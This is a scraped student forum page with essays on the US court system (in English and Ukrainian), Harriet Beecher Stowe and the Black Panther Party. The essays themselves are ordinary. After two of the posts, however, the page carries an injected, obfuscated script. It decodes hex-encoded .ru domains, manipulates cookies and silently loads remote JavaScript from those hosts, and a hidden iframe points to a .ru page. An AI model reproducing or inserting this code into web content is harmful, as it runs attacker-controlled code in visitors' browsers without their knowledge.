Суд загального судочинства є найбільш важливим серед судів першої інстанції. Це суд загальної юрисдикції - майже будь-яка цивільна чи кримінальна справа, серйозна або незначна, може спершу бути принесена сюди. У кримінальних справах, суди загальної юрисдикції мають виняткове судочинство щодо тяжких злочинів (злочином є серйозне злодіяння, за яке покаранням є пенітенціарний термін або смерть). У цивільних справах такий суд має виключну юрисдикцію щодо заповітів, сімейних відносин і справ неповнолітніх. Поділ заповіту має справу з волевиявленнями і розподілом майна, усиновленнями та опікою. Він надає право на шлюб для одруження. Сімейний поділ має справу з розлученням, аліментами, опікою над дітьми.
Поділ щодо справ неповнолітніх здійснює судочинство над правопорушниками, недисциплінованими або бездоглядними дітьми і над дорослими, які нехтують, знущаються над дітьми або сприяють їх злочинності. Коли неповнолітній (особа, яка не досягла 18 років) обвинувачується у вчиненні правопорушення, серйозного чи незначного, розподіл у справах неповнолітніх має виключне судочинство щодо таких випадків.
Основне завдання апеляційних судів полягає в розгляді справ, які були оскаржені судами першої інстанції, щоб визначити чи закон був правильно розтлумачений і застосований.
Верховний суд кожної держави є насамперед апеляційним судом і судом останньої інстанції.
Структура федерального суду схожа на структуру державної судової системи. Суди першої інстанції у федеральній системі є районними судами Сполучених Штатів. Апеляційні суди Сполучених Штатів є проміжними апеляційними судами між районними судами та Верховним судом Сполучених Штатів.
Верховний суд США є вищою судовою інстанцією в країні і судом останньої інстанції. Він складається з головного суду та восьми супровідних судів, всі з яких довічно призначаються президентом за порадою і згодою Сенату. Обов'язком Верховного суду є вирішення чи закони, прийняті Конгресом узгождуються з Конституцією. Важливими правовими питаннями, що вирішуються Верховним судом в даний час є залучення уряду до питань релігії, абортів та прав на особисту недоторканість, расова та статева дискримінація.
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Post by Victoria Pechenyk IM45 on Oct 5, 2015 16:31:54 GMT
Harriet Beecher Stowe
Occupation: Author Born: June 14, 1811 in Litchfield, Connecticut Died: July 1, 1896 in Hartford, Connecticut Best known for: Writing the book Uncle Tom's Cabin about slavery
Childhood
Harriet Elizabeth "Hattie" Beecher was born in Litchfield, Connecticut, on June 14, 1811, into a family of powerful and very demanding individuals. Her father, Lyman Beecher, was a fiery, evangelical Calvinist (a strict religious discipline) who drove his six sons and two daughters along the straight and narrow path of devotion to God, to duty, and to himself. Much of her father's religious influence would show up in her writings as an adult. Her mother, Roxana Foote Beecher, died when she was four, leaving a legacy of quiet gentleness and a brother—the Beecher children's uncle Samuel Foote. Uncle Sam, a retired sea captain, brought a sense of romance and adventure into the household, as well as a measure of warm tolerance which might otherwise have been absent. In October 1832 Harriet's family moved to Cincinnati, Ohio, where the elder Beecher became director of the Lane Theological Seminary and where his older daughter, Catherine, opened her Western Female Institute, a school in which Harriet taught. She began to study Latin and the romance languages and made her first attempts at writing fiction, although her sister did not approve.
In 1834 Harriet began writing for the Western Monthly Magazine and was awarded a fifty-dollar prize for her tale "A New England Sketch." Her writing during the next sixteen years was to be infrequent, for on January 6, 1836, she married Calvin Ellis Stowe, a professor in the Lane Seminary. They had seven children during a period of financial hardship. At the same time she had the opportunity to visit the South, and she observed with particular attention the operation of the slave system there. The atmosphere at the Lane Seminary was that of extreme abolitionists (those fighting to end slavery). Harriet herself did not at that time pursue this position. In 1849 she published her first volume, The Mayflower, a slender book, but one that convinced her husband that she should seriously pursue a literary career.
Uncle Tom's Cabin
In 1850 Harriet's husband Calvin Stowe was called to a chair job at Bowdoin College in Brunswick, Maine, where they had their last child. She then set about writing Uncle Tom's Cabin, which first appeared in serial form in 1851 through 1852 in the National Era, a Washington, D.C., antislavery newspaper. The book was published in 1852 in a two-volume edition by the house of John P. Jewett and sold three hundred thousand copies in its first year—ten thousand in the first week. During the first five years of its publication, the book sold half a million copies in the United States alone.
Though Stowe's Uncle Tom's Cabin was received with wild attention, its reception was (except for the abolitionist press) almost completely in opposition. In the South each newspaper was a sea of fury, and in the North there were universal charges that the world of the slave had been misrepresented. The action of the book traces the passage of the slave Uncle Tom through the hands of three owners, each meant to represent a type of Southern figure. The first is a kind planter, the second a Southern gentleman, and the last the wicked Simon Legree, who causes the death of Uncle Tom. The fortunes of the slaves in the book curve downward, and the finally successful dash for freedom taken by George and Eliza makes up the high drama of the book. But the overall treatment of slave and master reveals something far more complex than abolitionist ideas: the high, clear style contains much that is warmly, even fiercely sympathetic to the world of the old South.
Stowe answered her critics in 1853 with A Key to Uncle Tom's Cabin, a book designed to document the facts of the novel, but she also responded to her success by traveling widely, receiving praise in England and in Europe. In 1856 she published her novel Dred: A Tale of the Great Dismal Swamp. This, too, was a slave novel, and its reception was hardly less enthusiastic than that of Uncle Tom's Cabin. In England alone, during the first month, over one hundred thousand copies were sold. Although Stowe then turned to instructive writings, producing a series of novels based on New England and drawing heavily on local color, her reputation for years to come was connected with the instructional power of her first two novels. Indeed, when she was introduced to President Abraham Lincoln (1809–1865) in 1862, he is said to have exclaimed, "So this is the little lady who started our big war!"
Later years
In 1869 Stowe again toured Europe, renewing an earlier friendship with Lord Byron's (1788–1824) widow. As a result, the novelist published Lady Byron Vindicated (1870), charging the dead poet with having violated his marriage vows by having a sexual relationship with his sister. Byron was a legend by this time, and the charges resulted in Stowe losing much of her loyal British audience. Undisturbed, however, she continued her series of novels, poems, and sketches, as well as her autobiography, never lacking a devoted and enthusiastic American audience.
The later years of Stowe's life were spent, in large part, in Florida, where she and her husband tried, with only moderate success, to manage the income from her literary activities. Stowe died in Hartford, Connecticut, on July 1, 1896.
Harriet Beecher Stowe's personality and her work are mint products of her culture. They represent a special combination of rigid Calvinist discipline (fight against it though she tried), sentimental weakness for the romanticism of Sir Walter Scott (1771–1832) and Lord Byron, and a crusading sense of social and political responsibility.
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Post by Elizabeth Blyndaruk IM45 on Oct 5, 2015 17:46:35 GMT
The Black Panthers The Black Panthers were formed in California in 1966 and they played a short but important part in the civil rights movement. The Black Panthers believed that the non-violent campaign ofMartin Luther King had failed and any promised changes to their lifestyle via the ‘traditional’ civil rights movement, would take too long to be implemented or simply not introduced. The language of the Black Panthers was violent as was their public stance. The two founders of the Black Panther Party were Huey Percy Newton and Bobby Seale. They preached for a “revolutionary war” but though they considered themselves an African-American party, they were willing to speak out for all those who were oppressed from whatever minority group. They were willing to use violence to get what they wanted. The Black Panther Party (BPP) had four desires : equality in education, housing, employment and civil rights. It had a 10 Point Plan to get its desired goals. The ten points of the party platform were: 1) “Freedom; the power to determine the destiny of the Black and oppressed communities. 2) Full Employment; give every person employment or guaranteed income. 3) End to robbery of Black communities; the overdue debt of forty acres and two mules as promised to ex-slaves during the reconstruction period following the emancipation of slavery. 4) Decent housing fit for the shelter of human beings; the land should be made into cooperatives so that the people can build. 5) Education for the people; that teaches the true history of Blacks and their role in present day society. 6) Free health care; health facilities which will develop preventive medical programs. 7) End to police brutality and murder of Black people and other people of color and oppressed people. 8) End to all wars of aggression; the various conflicts which exist stem directly from the United States ruling circle. 9) Freedom for all political prisoners; trials by juries that represent our peers. 10) Land, bread, housing, education, clothing, justice, peace and community control of modern industry.” The call for a revolutionary war against authority at the time of the Vietnam War, alerted the FBI to the Black Panther’s activities. Whatever happened, the FBI was successful in destroying the Black Panther’s movement. Those who supported the BPP claim that the FBI used dirty tactics such as forging letters to provoke conflict between the BPP’s leaders; organising the murders of BPP leaders such as John Huggins; initiating a “Black Propaganda” campaign to convince the public that the BPP was a threat to national security; using infiltrators to commit crimes that could be blamed on the BPP so that leaders could be arrested and writing threatening letters to jurors during trials so that the BPP would be blamed for attempting to pervert the course of justice. Supporters of the BPP claimed that this last tactic was used with success at the trial of the “Chicago Eight” whereby the jury, apparently angered at being intimidated by the BPP, found the eight members of the BPP guilty. None of the above tactics have ever been proved or admitted to by the FBI. In California, the party leader of Oakland, David Hilliard, claimed that the BPP was at the top of the FBI’s most wanted list. Hilliard also claimed that the then governor of California, Ronald Reagan, constantly vilified the BPP. “This caused a stigma to be placed upon the Black Panther Party as Pied Pipers of cultural and social revolution characterising us as the essence of violence, chaos and evil.” The head of the FBI, Edgar J Hoover, called the BPP “the greatest threat to the internal security of the country.” Hoover ordered field operatives of the FBI to introduce measures that would cripple the BPP. Using infiltrators (one of these, William O’Neal, became Chief of Security for the BPP), the FBI knew of all the movements etc of BPP leaders. FBI raids in BPP heartlands – Chicago and Los Angeles – that led to the arrest of regional leaders, resulted in the collapse of the movement. To view the BPP as a purely revolutionary and violent movement is wrong. In areas of support the BPP created a Free Food Program to feed those who could not afford to do so for themselves; Free Medical Research Health Clinics to provide basic health care for those who could not afford it and an Intercommunal Youth Band to give community pride to the movement. In a book of his essays called “To Die for the People”, Huey Newton wrote that these were exactly what the African-American community wanted and that the BPP was providing its own people with something the government was not. Such community projects have survived in other guises, but after the demise of the BPP their lost their drive for a number of years. Was there much support for the BPP? Were they ‘Public Enemy Number One’ as Hoover claimed? In 1966, a survey carried out in America showed that less than 5% of African-Americans approved of groups such as the BPP. 60% were positively hostile to such groups. But were these survey results slanted in such a manner as to tarnish the name of the Black Panthers at an early stage in its existence especially as the head of the FBI, Hoover, was known to be very against the movement? In areas such as Oakland and parts of San Francisco and South San Francisco where the BPP claimed to feed nearly 200,000 people, support would have been a lot higher.<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20435",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t ;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("rsuhforum1980.freeforums.net")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe>
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Post by Elizabeth Blyndaruk IM45 on Oct 5, 2015 17:51:42 GMT
Born in Litchfield, Connecticut, Harriet Beecher was the seventh child of the Reverend Lyman Beecher, a Congregational minister and moral reformer, and Roxanna Foote Beecher. She was schooled at the Pierce Academy and at her sister Catharine Beecher’s Hartford Female Seminary, where she also taught. She moved with the family to Cincinnati in 1832, when her father was appointed president of Lane Theological Seminary. The spectacle of chattel slavery across the Ohio River in Kentucky and its effects on the acquiescent commercial interests of white Cincinnati moved her deeply. In 1836, she married Calvin Ellis Stowe, professor of biblical literature at Lane. The death of a son in 1849 led her away from her father’s Calvinism and gave supremacy in her views to the redemptive spirit of Christian love. By 1850, the family had moved to Maine, where, in response to the Fugitive Slave Act of that year, Stowe wrote Uncle Tom’s Cabin (1852), her most celebrated work. Sentimental and realistic by turns, the novel explored the cruelties of chattel slavery in the Upper and Lower South and exposed the moral ironies in the legal, religious, and social arguments of white apologists. The immense impact of the novel (it sold 300,000 copies in its first year) was unexpected. Antislavery fiction had never sold well; Stowe was not an established writer, and few would have expected a woman to gain a popular hearing on the great political question of the day. Some female abolitionists had shocked decorum in the 1840s by speaking at public gatherings, but they were widely resented. The success of Uncle Tom’s Cabin went far toward legitimizing, if not indeed creating, a role for women in public affairs. To the dismay of many northern radicals, Uncle Tom’s Cabin casually endorsed colonization rather than abolition. In fact, Stowe was unconcerned about the tactics that made slavery a political issue: for her, the problem was religious and emotional, and one that women were best equipped to confront. Her stated purpose, “to awaken sympathy and feeling for the African race” and to urge that readers “feel right” about the issue, belongs to a feminist and utopian agenda that contemporary readers were slow to recognize. In the South, the book was read as sectional propaganda; in the North, it was read as a compelling moral romance. Although Stowe blamed the slave system itself as “the essence of all abuse” rather than the slaveholders and deliberately made its chief villain, Simon Legree, a displaced New Englander, the novel’s effect was to exacerbate regional antagonisms. Indeed, Uncle Tom’s Cabin, which called forth anti-Tom novels from southern writers, so raised the temperature of the dialogue that Lincoln would later, half-seriously, apportion to Stowe some responsibility for starting the Civil War. Notable among Stowe’s subsequent works are A Key to Uncle Tom’s Cabin (1853), documenting her case against slavery; Dred: A Tale of the Great Dismal Swamp (1856), also on slavery; and The Minister’s Wooing (1859), a historical novel that attacks Calvinism. Stowe also wrote realistic regional fiction, including The Pearl of Orr’s Island (1861), which influenced Sarah Orne Jewett and Mary E. Wilkins Freeman. Her miscellaneous writings include Lady Byron Vindicated (1870), which created an international sensation by charging Lord Byron with incest, and Palmetto Leaves (1873), written at her winter home in Florida, which encouraged a Florida land boom. Thomas F. Gossett, Uncle Tom’s Cabin and American Culture (1985); Eric J. Sundquist, ed., New Essays on Uncle Tom’s Cabin (1986); Forrest Wilson, Crusader in Crinoline: The Life of Harriet Beecher Stowe (1941)<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20435",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t ;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("rsuhforum1980.freeforums.net")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe>
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Post by Hellen Panchenko IM45 on Oct 5, 2015 18:57:17 GMT
The Black Panther Party or BPP (originally the Black Panther Party for Self-Defense) was a revolutionary black nationalist and socialist organization active in the United States from 1966 until 1982, with its only international chapter operating in Algeria from 1969 until 1972. At its inception in October 1966, the Black Panther Party's core practice was its armed citizens' patrols to monitor the behavior of police officers and challenge police brutality in Oakland, California. In 1969, community social programs became a core activity of party members. The Black Panther Party instituted a variety of community social programs, most extensively the Free Breakfast for Children Programs, and community health clinics. Federal Bureau of Investigation Director J. Edgar Hoover called the party "the greatest threat to the internal security of the country", and he supervised an extensive program of surveillance, infiltration, perjury, police harassment, and many other tactics designed to undermine Panther leadership, incriminate party members, discredit and criminalize the Party, and drain the organization of resources and manpower. The program was also accused of using assassination against Black Panther members. Government oppression initially contributed to the growth of the party as killings and arrests of Panthers increased support for the party within the black community and on the broad political left, both of whom valued the Panthers as powerful force opposed to de facto segregation and the military draft. Black Panther Party membership reached a peak in 1970, with offices in 68 cities and thousands of members, then suffered a series of contractions. After being vilified by the mainstream press, public support for the party waned, and the group became more isolated. In-fighting among Party leadership, caused largely by the FBI's COINTELPRO operation, led to expulsions and defections that decimated the membership. Popular support for the Party declined further after reports appeared detailing the group's involvement in illegal activities such as drug dealing and extortion schemes directed against Oakland merchants. By 1972 most Panther activity centered on the national headquarters and a school in Oakland, where the party continued to influence local politics. Party contractions continued throughout the 1970s. By 1980 the Black Panther Party had just 27 members. The history of the Black Panther Party is controversial. Scholars have characterized the Black Panther Party as the most influential black movement organization of the late 1960s, and "the strongest link between the domestic Black Liberation Struggle and global opponents of American imperialism". Other commentators have described the Party as more criminal than political, characterized by "defiant posturing over substance" The Ten-Point Program 1. We Want Freedom. We Want Power To Determine
The Destiny Of Our Black Community. We believe that Black people will not be free until we are able to determine our destiny. 2. We Want Full Employment For Our People.
We believe that the federal government is responsible and obligated to give every man employment or a guaranteed income. We believe that if the White American businessmen will not give full employment, then the means of production should be taken from the businessmen and placed in the community so that the people of the community can organize and employ all of its people and give a high standard of living. 3. We Want An End To The Robbery
By The Capitalists Of Our Black Community. We believe that this racist government has robbed us, and now we are demanding the overdue debt of forty acres and two mules. Forty acres and two mules were promised 100 years ago as restitution for slave labor and mass murder of Black people. We will accept the payment in currency which will be distributed to our many communities. The Germans are now aiding the Jews in Israel for the genocide of the Jewish people. The Germans murdered six million Jews. The American racist has taken part in the slaughter of over fifty million Black people; therefore, we feel that this is a modest demand that we make. 4. We Want Decent Housing Fit For The Shelter Of Human Beings. We believe that if the White Landlords will not give decent housing to our Black community, then the housing and the land should be made into cooperatives so that our community, with government aid, can build and make decent housing for its people. 5. We Want Education For Our People That Exposes
The True Nature Of This Decadent American Society. We Want Education That Teaches Us Our True History And Our Role In The Present-Day Society. We believe in an educational system that will give to our people a knowledge of self. If a man does not have knowledge of himself and his position in society and the world, then he has little chance to relate to anything else. 6. We Want All Black Men To Be Exempt From Military Service.
We believe that Black people should not be forced to fight in the military service to defend a racist government that does not protect us. We will not fight and kill other people of color in the world who, like Black people, are being victimized by the White racist government of America. We will protect ourselves from the force and violence of the racist police and the racist military, by whatever means necessary. 7. We Want An Immediate End To
Police Brutality And Murder Of Black People. We believe we can end police brutality in our Black community by organizing Black self-defense groups that are dedicated to defending our Black community from racist police oppression and brutality. The Second Amendment to the Constitution of the United States gives a right to bear arms. We therefore believe that all Black people should arm themselves for self- defense. 8. We Want Freedom For All Black Men
Held In Federal, State, County And City Prisons And Jails. We believe that all Black people should be released from the many jails and prisons because they have not received a fair and impartial trial. 9. We Want All Black People When Brought To Trial To Be Tried In
Court By A Jury Of Their Peer Group Or People From Their Black Communities, As Defined By The Constitution Of The United States. We believe that the courts should follow the United States Constitution so that Black people will receive fair trials. The Fourteenth Amendment of the U.S. Constitution gives a man a right to be tried by his peer group. A peer is a person from a similar economic, social, religious, geographical, environmental, historical and racial background. To do this the court will be forced to select a jury from the Black community from which the Black defendant came. We have been, and are being, tried by all-White juries that have no understanding of the "average reasoning man" of the Black community. 10. We Want Land, Bread, Housing, Education, Clothing, Justice And Peace.
When, in the course of human events, it becomes necessary for one people to dissolve the political bands which have connected them with another, and to assume, among the powers of the earth, the separate and equal station to which the laws of nature and nature's God entitle them, a decent respect of the opinions of mankind requires that they should declare the causes which impel them to the separation. We hold these truths to be self-evident, that all men are created equal; that they are endowed by their Creator with certain inalienable rights; that among these are life, liberty, and the pursuit of happiness. That, to secure these rights, governments are instituted among men, deriving their just powers from the consent of the governed; that, whenever any form of government becomes destructive of these ends, it is the right of the people to alter or abolish it, and to institute a new government, laying its foundation on such principles, and organizing its powers in such form, as to them shall seem most likely to effect their safety and happiness. Prudence, indeed, will dictate that governments long established should not be changed for light and transient causes; and, accordingly, all experience hath shown that mankind are more disposed to suffer, while evils are sufferable, than to right themselves by abolishing the forms to which they are accustomed. But, when a long train of abuses and usurpations, pursuing invariably the same object, evinces a design to reduce them under absolute despotism, it is their right, it is their duty, to throw off such government, and to provide new guards for their future security. Rules of the Black Panther Party Every member of the Black Panther Party throughout this country of racist America must abide by these rules as functional members of this party. Central Committee members, Central Staffs, and Local Staffs, including all captains subordinated to either national, state, and local leadership of the Black Panther Party will enforce these rules. Length of suspension or other disciplinary action necessary for violation of these rules will depend on national decisions by national, state or state area, and local committees and staffs where said rule or rules of the Black Panther Party were violated. Every member of the party must know these verbatim by heart. And apply them daily. Each member must report any violation of these rules to their leadership or they are counter-revolutionary and are also subjected to suspension by the Black Panther Party. The rules are:
1. No party member can have narcotics or weed in his possession while doing party work. 2. Any part member found shooting narcotics will be expelled from this party. 3. No party member can be drunk while doing daily party work. 4. No party member will violate rules relating to office work, general meetings of the Black Panther Party, and meetings of the Black Panther Party anywhere. 5. No party member will use, point, or fire a weapon of any kind unnecessarily or accidentally at anyone. 6. No party member can join any other army force, other than the Black Liberation Army. 7. No party member can have a weapon in his possession while drunk or loaded off narcotics or weed. 8. No party member will commit any crimes against other party members or black people at all, and cannot steal or take from the people, not even a needle or a piece of thread. 9. When arrested Black Panther members will give only name, address, and will sign nothing. Legal first aid must be understood by all Party members. 10. The Ten-Point Program and platform of the Black Panther Party must be known and understood by each Party member. 11. Party Communications must be National and Local. 12. The 10-10-10-program should be known by all members and also understood by all members. 13. All Finance officers will operate under the jurisdiction of the Ministry of Finance. 14. Each person will submit a report of daily work. 15. Each Sub-Section Leaders, Section Leaders, and Lieutenants, Captains must submit Daily reports of work. 16. All Panthers must learn to operate and service weapons correctly. 17. All Leaders who expel a member must submit this information to the Editor of the Newspaper, so that it will be published in the paper and will be known by all chapters and branches. 18. Political Education Classes are mandatory for general membership. 19. Only office personnel assigned to respective offices each day should be there. All others are to sell papers and do Political work out in the community, including Captain, Section Leaders, etc. 20. Communications--all chapters must submit weekly reports in writing to the National Headquarters. 21. All Branches must implement First Aid and/or Medical Cadres. 22. All Chapters, Branches, and components of the Black Panther Party must submit a monthly Financial Report to the Ministry of Finance, and also the Central Committee. 23. Everyone in a leadership position must read no less than two hours per day to keep abreast of the changing political situation. 24. No chapter or branch shall accept grants, poverty funds, money or any other aid from any government agency without contacting the National Headquarters. 25. All chapters must adhere to the policy and the ideology laid down by the Central Committee of the Black Panther Party. 26. All Branches must submit weekly reports in writing to their respective Chapters. 8 Points of Attention
1. Speak politely. 2. Pay fairly for what you buy. 3. Return everything you borrow. 4. Pay for anything you damage. 5. Do not hit or swear at people. 6. Do not damage property or crops of the poor, oppressed masses. 7. Do not take liberties with women. 8. If we ever have to take captives do not ill-treat them. 3 Main Rules of Discipline
1. Obey orders in all your actions. 2. Do not take a single needle or piece of thread from the poor and oppressed masses. 3. Turn in everything captured from the attacking enemy. Video: Some Truth About The Black Panthers: www.youtube.com/watch?v=Tlw_Kp0By10 Film "Panther" - 1995 film directed by Mario Van Piblca, filmed on the script of his father Melvin Van Piblca, based on his novel of the same name. The film depicts the story of the Black Panther Party. Some facts underwent artistic processing, but the overall plot is close to the real story.
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Post by Victoria Pechenyk IM45 on Oct 5, 2015 19:10:51 GMT
The US Court System
The courts are the overseers of the law. They administer it, they resolve disputes under it, and they ensure that it is equal to and impartial for everyone.
In the United States each state is served by the separate court systems, state and federal. Both systems are organized into 3 basic levels of courts: 1) trial courts, 2) intermediate courts of appeal and 3) a high court, or Supreme Court.
The state courts are concerned with cases arising under state law, and
the federal courts are concerned with cases arising under federal law.
Trial courts bear the main burden in the administration of justice. Cases begin there and in most instances are finally resolved there.
The trial courts in each state include: - common pleas courts, - municipal courts, - county courts
- mayors' courts.
Тhе common pleas court is the most important of the trial courts.
It is the court of general jurisdiction — almost any civil or criminal case, serious or minor, may first be brought there.
In criminal matters, the common pleas courts have exclusive jurisdiction over felonies (a felony is a serious crime for which the penalty is a penitentiary term or death).
In civil matters it has exclusive jurisdiction in probate, domestic relations and juvenile matters.
a) The probate division deals with wills and the administration of estates, adoptions, guardianships.
b) The domestic division deals with divorce, alimony, child custody.
c) The juvenile division has jurisdiction over delinquent, unru¬ly or neglected children and over adults, who neglect, abuse or contribute to the delinquency of children. When a juvenile (any person under 18) is accused of an offence, whether seri¬ous, or minor, the juvenile division has exclusive jurisdiction over the case.
The main job of courts of appeal is to review cases ap¬pealed from trial courts to determine if the law was correctly interpreted and applied.
The supreme court of each state is primarily a court of appeal and the court of last resort.
The federal court structure is similar to the structure of the state court system.
The trial courts in the federal system are the United States district courts.
The United States courts of appeal are intermediate courts of appeal between the district courts and the United States Supreme Court.
The US Supreme Court is the highest court in the nation and the court of last resort. It consists of
- a chief justice and
- 8 associate justices, all of whom are appointed for life by the President with the Advice and Consent of the Senate.
The duty of the Supreme Court is to decide whether laws passed by Congress agree with the Constitution.
Судова система в Сполучених штатах Америки
Суди стежать за дотриманням закону. Вони використовують його, для вирішення спірних питань, що пов’язані із законом, і вони гарантують, що він є рівним і неупередженим для всіх. У Сполучених Штатах кожен штат має свою окрему судову систему, яка складається з державної та федеральної. Обидві системи об'єднані в три основні рівні суди: 1) суди першої інстанції; 2) проміжні апеляційні суди; 3) високий суд або Верховний Суд. Державні суди займаються такими справами, які виникають відповідно до законодавства штату, і федеральні суди стосуються тих справ, які виникають у відповідності з федеральним законом. Суди першої інстанції в основному несуть відповідальність за відправлення правосуддя. Розпочаті справи в більшості випадків остаточно вирішуються в даній інстанції.
Суди першої інстанції в кожній державі складаються із: 1) суди загальної юрисдикції; 2) муніципальні суди; 3) суди графств; 4) суди мерів .
Суди загальної юрисдикції є найважливішими серед судів першої інстанції. Це суд загальної юрисдикції - практично будь-яка цивільна або кримінальна справа, серйозна чи незначна, відправляється сюди. У кримінальних справах, суди загальної юрисдикції мають виняткову юрисдикцію щодо тяжких злочинів (злочин-це серйозний злочин, за який покарання висувається в пенітенціарний термін або виноситься смертна кара). У цивільних справах суд має виключну юрисдикцію в оформленні спадщини, сімейних відносин і у питаннях неповнолітніх. а) відділ актів цивільного стану займається заповітами і управління майном, усиновленням, опікунством. б) внутрішній поділ займається справами з розлученням, виплатою аліментів, опіки над дітьми. в) у справах неповнолітніх відділ має юрисдикцію щодо правопорушників, неслухняних або тих дітей, які не мають догляду і навіть дорослих, які ігнорують жорстоке поводження або сприяють злочинності серед дітей. Коли неповнолітній (особа, яка не досягла 18 років), обвинувачується у скоєнні злочину, будь то серйозного чи незначного, підрозділ у справах неповнолітніх має виключну юрисдикцію до таких справ. Основне завдання апеляційних судів являє собою розгляд справ, які були оскаржені в судах першої інстанції, щоб таким чином визначити,чи закон був дійсно неправильно витлумачений і застосований. Верховний суд кожної держави - це в першу чергу апеляційний суд і суд останньої інстанції. Структура федерального суду аналогічна структурі державної судової системи. Суди першої інстанції у федеральній системі Сполучених Штатів є районні суди. У Сполучених Штатах апеляційні суди є проміжними між районними судами та Верховним Судом Сполучених Штатів. Верховний суд США є вищою судовою інстанцією в країні і судом останньої інстанції. . Він складається з головного суду і восьми з’єднувальних суддів, які призначаються довічно Президентом з рекомендації і згоди Сенату. Обов'язок Верховного Суду - вирішити, чи закони, прийняті Конгресом згодні з Конституцією.
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